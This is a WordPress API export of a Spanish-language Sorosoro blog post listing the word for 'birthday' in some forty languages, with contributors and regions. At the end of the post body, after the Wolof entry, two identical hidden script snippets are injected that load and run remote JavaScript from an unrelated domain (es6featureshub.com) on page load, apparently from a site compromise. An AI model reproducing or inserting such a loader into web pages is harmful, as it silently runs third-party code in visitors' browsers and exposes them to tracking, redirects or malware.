{"id":58484,"date":"2011-10-06T17:45:55","date_gmt":"2011-10-06T15:45:55","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=58484"},"modified":"2025-10-21T22:20:24","modified_gmt":"2025-10-21T20:20:24","slug":"cumpleanos","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/","title":{"rendered":"Cumplea\u00f1os"},"content":{"rendered":"<p><strong>En alban\u00e9s<\/strong>, por Qerimi: <span style=\"color: #ff6600;\">Ditelindje<\/span><\/p>\n<p>Esta lengua se habla principalmente en Albania, Serbia, Kosovo, Macedonia, Montenegro, Grecia, Turqu\u00eda, y Italia.<\/p>\n<p><strong>En alem\u00e1n<\/strong>, por Marie-Laure: <span style=\"color: #ff6600;\">Geburtstag<\/span><\/p>\n<p>Se habla esta lengua en Alemania, B\u00e9lgica, Austria, Suiza oriental.<\/p>\n<p><strong>En amazigh<\/strong>, por Awal : <span style=\"color: #ff6600;\">Thalalith thamagazeth<\/span><\/p>\n<p>Se habla esta lengua en Algeria.<\/p>\n<p><strong>En \u00e1rabe (\u0627\u0644\u0639\u0631\u0628\u064a\u0629)<\/strong>, por Sadok : <span style=\"color: #ff6600;\">\u0639\u064a\u062f \u0645\u064a\u0644\u0627\u062f<\/span><\/p>\n<p>Se habla esta lengua en el mundo \u00e1rabe.<\/p>\n<p><strong>En breton (brezhoneg)<\/strong>, por Luc: <span style=\"color: #ff6600;\">Deiz-ha-bloaz<\/span>, y por Gwen : <span style=\"color: #ff6600;\">gouel-blez<\/span>.<\/p>\n<p>Se habla esta lengua en la Breta\u00f1a (Noroeste de Francia).<\/p>\n<p>Precisi\u00f3n por Luc: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abkalz a vloavezhio\u00f9 all\u00bb, literalmente \u00abmuchos a\u00f1os m\u00e1s\u00bb.<\/p>\n<p><strong>En cachemiro<\/strong>, por Hilal Ahmed Sheikh:<span style=\"color: #ff6600;\">Zaa ye doh<\/span><\/p>\n<p>Se habla esta lengua en Cachemira, en el norte de India<\/p>\n<p><strong>En catal\u00e1n<\/strong>, por David: <span style=\"color: #ff6600;\">Aniversari<\/span><\/p>\n<p>Se habla esta lengua en Espa\u00f1a (Catalu\u00f1a, Comunidad Valenciana, Baleares), en Francia (Pirineos Orientales), en Andorra y en Cerde\u00f1a (Italia).<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abPer molts anys\u00bb.<\/p>\n<p><strong>En chukoto<\/strong>, by Charles\u00a0Weinstein: <span style=\"color: #ff6600;\">U&#8217;retkin y&#8217;lonet<\/span><\/p>\n<p>Se habla esta lengua en Chukokta (Rusia).<\/p>\n<p><strong>En croata<\/strong>, por Vanda:\u00a0<span style=\"color: #ff6600;\">Ro\u0111endan<\/span><\/p>\n<p>Se habla esta lengua en Croatia.<\/p>\n<p><strong>En eslovaco<\/strong>, por Andrea: <span style=\"color: #ff6600;\">Narodeniny, V\u00fdro\u010die<\/span><\/p>\n<p>Se habla esta lengua en Eslovaquia.<\/p>\n<p><strong>En esperanto<\/strong>, por GoBois, R. Platteau y karinesperanto: <span style=\"color: #ff6600;\">naski\u011dtago, datreveno<\/span><\/p>\n<p>Precisi\u00f3n: Jean-Claude Thumerelle da una ortograf\u00eda ligeramente diferente :\u00a0 <span style=\"color: #ff6600;\">naskigxtago<\/span><\/p>\n<p>Se habla el esperanto en todo el mundo.<\/p>\n<p><strong>En fala<\/strong>, por Eusebio Mart\u00edn: <span style=\"color: #ff6600;\">Cumplianus<\/span><\/p>\n<p>Se habla esta lengua en el Norte de Extremadura (Espa\u00f1a).<\/p>\n<p><strong>En franc\u00e9s<\/strong>, por Michel: <span style=\"color: #ff6600;\">Anniversaire<\/span><\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abJoyeux Anniversaire\u00bb.<\/p>\n<p><strong>En fulfulde<\/strong>, por Tafsir Balde : <span style=\"color: #ff6600;\">Maanditaare<\/span><\/p>\n<p>El fulfulde, tambi\u00e9n conocido como fula (pulaar) es hablado por los pueblos Ful\u0253e de Senegal, Mauritania, Gambia, Guinea-Conakry, Guinea-Bissau, Camer\u00fan, N\u00edger, Nigeria, Burkina Faso, Chad, Sierra Leona y Sud\u00e1n.<\/p>\n<p><strong>En futuniano<\/strong>, por Hermel: <span style=\"color: #ff6600;\">aso tupu<\/span><\/p>\n<p>El futuniano es hablado en Wallis y Futuna.<\/p>\n<p>Precisi\u00f3n: literalmente, \u00abd\u00eda de nacimiento\u00bb.<\/p>\n<p><strong>En griego moderno<\/strong>, por Paula Escabia Rom\u00e1n: <span style=\"color: #ff6600;\">\u03a4\u03b1 \u03b3\u03b5\u03bd\u03ad\u03b8\u03bb\u03b9\u03b1, x\u03c1\u03cc\u03bd\u03b9\u03b1 \u03c0\u03bf\u03bb\u03bb\u03ac<br \/>\n<\/span><\/p>\n<p>Se habla esta lengua en Grecia, Chipre, Albania, Turqu\u00eda, Italia, Francia y EE.UU.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abx\u03c1\u03cc\u03bd\u03b9\u03b1 \u03c0\u03bf\u03bb\u03bb\u03ac\u00bb.<\/p>\n<p><strong>En groenland\u00e9s (kalaallisut)<\/strong>, por Kaalinguaq: <span style=\"color: #ff6600;\">Inuuik, Inuuinni<\/span><\/p>\n<p>Se habla esta lengua en Groenlandia.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abInuinni pilluarit\u00bb.<\/p>\n<p><strong>En hebreo<\/strong>, por Itay:\u00a0<span style=\"color: #ff6600;\">\u05d9\u05d5\u05dd \u05d4\u05d5\u05dc\u05d3\u05ea<\/span><\/p>\n<p>El hebreo es hablado\u00a0en Isra\u00ebl.<\/p>\n<p>Precisi\u00f3nes:<\/p>\n<p>&#8211; pronunciar \u00abyom houl\u00e8d\u00e8t\u00bb.<\/p>\n<p>&#8211; tambi\u00e9n se encuentra la forma\u00a0<span style=\"color: #ff6600;\">\u05d9\u05d5\u05de\u05d5\u05dc\u05d3\u05ea<\/span> que no es (todav\u00eda) acad\u00e9mica.<\/p>\n<p><strong>En hindi<\/strong>, por Michel: <span style=\"color: #ff6600;\">Janmadin, Janmadivas (\u091c\u0928\u094d\u092e\u0926\u093f\u0928, \u091c\u0928\u094d\u092e\u0926\u093f\u0935\u0938)<\/span><\/p>\n<p>Se habla esta lengua en la India (sobre todo en el Norte), as\u00ed como en la Isla Mauricio, en las Islas Fidji, en Trinidad, etc.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abJanmadin mub\u0101rak\u00bb.<\/p>\n<p><strong>En h\u00fangaro<\/strong>, por Fran\u00e7ois-R\u00e9gis Rolland : <span style=\"color: #ff6600;\">Sz\u00fclet\u00e9snap<\/span><\/p>\n<p>Esta lengua se habla en Hungr\u00eda, Rumania, Eslovaquia y Serbia<\/p>\n<p>Precisi\u00f3nes:<br \/>\n&#8211; coloquialmente se dice tambi\u00e9n <em>Sz\u00fclinap<\/em><br \/>\n&#8211; \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abBoldog sz\u00fclet\u00e9snapot k\u00edv\u00e1nok\u00bb<\/p>\n<p><strong>En igbo<\/strong>, por Fran\u00e7oise Ugochukwu: <span style=\"color: #ff6600;\">emume ncheta<\/span><\/p>\n<p>Se habla esta lengua en Nigeria.<\/p>\n<p><strong>En ingl\u00e9s<\/strong>, por Michel: <span style=\"color: #ff6600;\">Birthday<\/span><\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abHappy birthday\u00bb.<\/p>\n<p><strong>En island\u00e9s<\/strong>, por Maxime: <span style=\"color: #ff6600;\">Afm\u00e6li<\/span><\/p>\n<p>Se habla esta lengua en Islandia.<\/p>\n<p><strong>En italiano<\/strong>, por Viviane: <span style=\"color: #ff6600;\">Compleano<\/span><\/p>\n<p><strong>En japon\u00e9s<\/strong>, por Alain Kervern y Cyril: <span style=\"color: #ff6600;\">Tanj\u00f4bi<\/span><span style=\"color: #ff6600;\"> (<\/span><span style=\"color: #ff6600;\">\u8a95\u751f\u65e5<\/span><span style=\"color: #ff6600;\">)<\/span><\/p>\n<p>Se habla esta lengua en Jap\u00f3n.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abO-tanj\u00f4bi omedet\u00f4\u00bb&gt; (\u00ab\u304a\u8a95\u751f\u65e5\u304a\u3081\u3067\u3068\u3046\u00bb).<\/p>\n<p><strong>En kok borok (kokborok, tripuri)<\/strong>, por Joseph Pulinthanath: <span style=\"color: #ff6600;\">Achaima Sal<\/span><\/p>\n<p>Se habla esta lengua en el Noreste de India, en el estado de Tripura.<\/p>\n<p>Precisi\u00f3n: literalmente, \u00abd\u00eda de nacimiento\u00bb.<\/p>\n<p><strong>En malgache (malagasy)<\/strong>, por Salohy y Marie Louise : <span style=\"color: #ff6600;\">Tsingerin-taona, tsingerintaona<br \/>\n<\/span><\/p>\n<p>Se habla esta lengua en Madagascar.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abArabaina nahatratra ny tsigerin-taonanao ianao\u00bb.<\/p>\n<p><strong>En neerland\u00e9s<\/strong>, por Monique : <span style=\"color: #ff6600;\">verjaardag<\/span><\/p>\n<p>Se habla esta lengua en los Pa\u00edses Bajos y en B\u00e9lgica (Flandes y Bruselas).<\/p>\n<p>Precisi\u00f3n : \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abgelukkige verjaardag\u00bb.<\/p>\n<p><strong>En noruego<\/strong> (bokm\u00e5l),\u00a0por Tomek : <span style=\"color: #ff6600;\">f\u00f8dselsdag<\/span><\/p>\n<p>Se habla el noruego en Noruega.<\/p>\n<p><strong>En ntoumou<\/strong>, por Mariano Nsue : <span style=\"color: #ff6600;\">Adjaa mbu<\/span><\/p>\n<p>Se habla esta lengua en Camer\u00fan y en Guinea ecuatorial.<\/p>\n<p><strong>En occitano<\/strong>, por Marion Quenut : <span style=\"color: #ff6600;\">Anniversari<\/span><\/p>\n<p>Se habla esta lengua en el sur de Francia, el Val d&#8217;Aran y las valles occitanos de Italia.<\/p>\n<p><strong>En portugu\u00e9s<\/strong>, por Regina Giglio: <span style=\"color: #ff6600;\">Anivers\u00e0rio<\/span><\/p>\n<p>Se habla esta lengua en Portugal, Brasil, Guinea-Bissau, Cabo Verde, Angola, Mozambique y Timor.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abFeliz anivers\u00e0rio\u00bb.<\/p>\n<p><strong>En provenzal<\/strong>, por Jean Charles Tabacchi : <span style=\"color: #ff6600;\">Annivers\u00e0ri<\/span><\/p>\n<p>Se habla esta lengua en el sur de Francia, en la provincia de la Provenza.<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abUrous annivers\u00e0ri e longo mai\u00bb.<\/p>\n<p><strong>En quechua<\/strong>, por Gloria Caceres: <span style=\"color: #ff6600;\">P&#8217;unchawniyki, Suntuyki<\/span><\/p>\n<p>Se habla esta lengua en Per\u00fa, en Bolivia, en Ecuador, y el el noroeste de Argentina.<\/p>\n<p><strong>En sueco<\/strong>, por Aur\u00e9lien : <span style=\"color: #ff6600;\">F\u00f6delsedag<\/span><\/p>\n<p>Se habla esta lengua en Suecia y una parte de Finlandia.<\/p>\n<p>Precisi\u00f3n: en sueco, se desea el cumplea\u00f1os a alguien diciendo \u00abGrattis\u00bb, la abreviatura de \u00bb Grattis p \u00e5 din f\u00f6delsedag \u00bb (\u00abFelicidades por tu cumplea\u00f1os\u00bb).<\/p>\n<p><strong>En swahili<\/strong>, por Marie-Laure: <span style=\"color: #ff6600;\">Siku ya kuzaliwa<\/span><\/p>\n<p>Se habla esta lengua en Kenya, Uganda, Tanzania, y la Rep\u00fablica Democr\u00e1tica del Congo (RDC).<\/p>\n<p><strong>En vasco (euskara)<\/strong>, por Karmele, I\u00f1igo y Pierre: <span style=\"color: #ff6600;\">Urtebetetzea, Urtebete, Urteurrena, <\/span><span style=\"color: #ff6600;\">Urtemuga<\/span><\/p>\n<p>Se habla esta lengua en el Pa\u00eds Vasco, <em>Euskal Herria<\/em> (Espa\u00f1a y Francia).<\/p>\n<p>Precisi\u00f3n: \u00abFeliz cumplea\u00f1os\u00bb se dice \u00abUrtebetetze zoriontsua\u00bb.<\/p>\n<p><strong>En vietnamita<\/strong>, por TRAN ngoc-anh: <span style=\"color: #ff6600;\">sinh-nhut<\/span><\/p>\n<p>Se habla esta lengua en Vietnam.<\/p>\n<p>Precisi\u00f3n: en el norte del pa\u00eds se escribe <em>sinh-nh\u00e2t<\/em><\/p>\n<p><strong>En walisiano<\/strong>, por Claire: <span style=\"color: #ff6600;\">Aho tupu<\/span><\/p>\n<p>Se habla esta lengua en la Isla de Wallis (Wallis y Futuna).<\/p>\n<p>Precisi\u00f3n: literalmente \u00abd\u00eda de nacimiento\u00bb.<\/p>\n<p><strong>En wolof<\/strong>, por Adja : <span style=\"color: #ff6600;\">b\u00e8ss bou d\u00e9loussi<\/span><\/p>\n<p>Se habla el wolof en Senegal<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En alban\u00e9s, por Qerimi: Ditelindje Esta lengua se habla principalmente en Albania, Serbia, Kosovo, Macedonia, Montenegro, Grecia, Turqu\u00eda, y Italia. En alem\u00e1n, por Marie-Laure: Geburtstag Se habla esta lengua en Alemania, B\u00e9lgica, Austria, Suiza oriental. En amazigh, por Awal : Thalalith thamagazeth Se habla esta lengua en Algeria. En \u00e1rabe (\u0627\u0644\u0639\u0631\u0628\u064a\u0629), por Sadok : \u0639\u064a\u062f [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-58484","post","type-post","status-publish","format-standard","hentry","category-la-palabra-del-mes"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cumplea\u00f1os - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cumplea\u00f1os - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"En alban\u00e9s, por Qerimi: Ditelindje Esta lengua se habla principalmente en Albania, Serbia, Kosovo, Macedonia, Montenegro, Grecia, Turqu\u00eda, y Italia. En alem\u00e1n, por Marie-Laure: Geburtstag Se habla esta lengua en Alemania, B\u00e9lgica, Austria, Suiza oriental. En amazigh, por Awal : Thalalith thamagazeth Se habla esta lengua en Algeria. En \u00e1rabe (\u0627\u0644\u0639\u0631\u0628\u064a\u0629), por Sadok : \u0639\u064a\u062f [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-10-06T15:45:55+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:20:24+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Cumplea\u00f1os\",\"datePublished\":\"2011-10-06T15:45:55+00:00\",\"dateModified\":\"2025-10-21T20:20:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\"},\"wordCount\":987,\"articleSection\":[\"El abecedario de Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\",\"name\":\"Cumplea\u00f1os - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-10-06T15:45:55+00:00\",\"dateModified\":\"2025-10-21T20:20:24+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Cumplea\u00f1os\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Cumplea\u00f1os - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/","og_locale":"es_ES","og_type":"article","og_title":"Cumplea\u00f1os - Sorosoro","og_description":"En alban\u00e9s, por Qerimi: Ditelindje Esta lengua se habla principalmente en Albania, Serbia, Kosovo, Macedonia, Montenegro, Grecia, Turqu\u00eda, y Italia. En alem\u00e1n, por Marie-Laure: Geburtstag Se habla esta lengua en Alemania, B\u00e9lgica, Austria, Suiza oriental. En amazigh, por Awal : Thalalith thamagazeth Se habla esta lengua en Algeria. En \u00e1rabe (\u0627\u0644\u0639\u0631\u0628\u064a\u0629), por Sadok : \u0639\u064a\u062f [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/","og_site_name":"Sorosoro","article_published_time":"2011-10-06T15:45:55+00:00","article_modified_time":"2025-10-21T20:20:24+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Cumplea\u00f1os","datePublished":"2011-10-06T15:45:55+00:00","dateModified":"2025-10-21T20:20:24+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/"},"wordCount":987,"articleSection":["El abecedario de Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/","name":"Cumplea\u00f1os - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-10-06T15:45:55+00:00","dateModified":"2025-10-21T20:20:24+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/10\/cumpleanos\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Cumplea\u00f1os"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/58484","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=58484"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/58484\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=58484"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=58484"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=58484"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}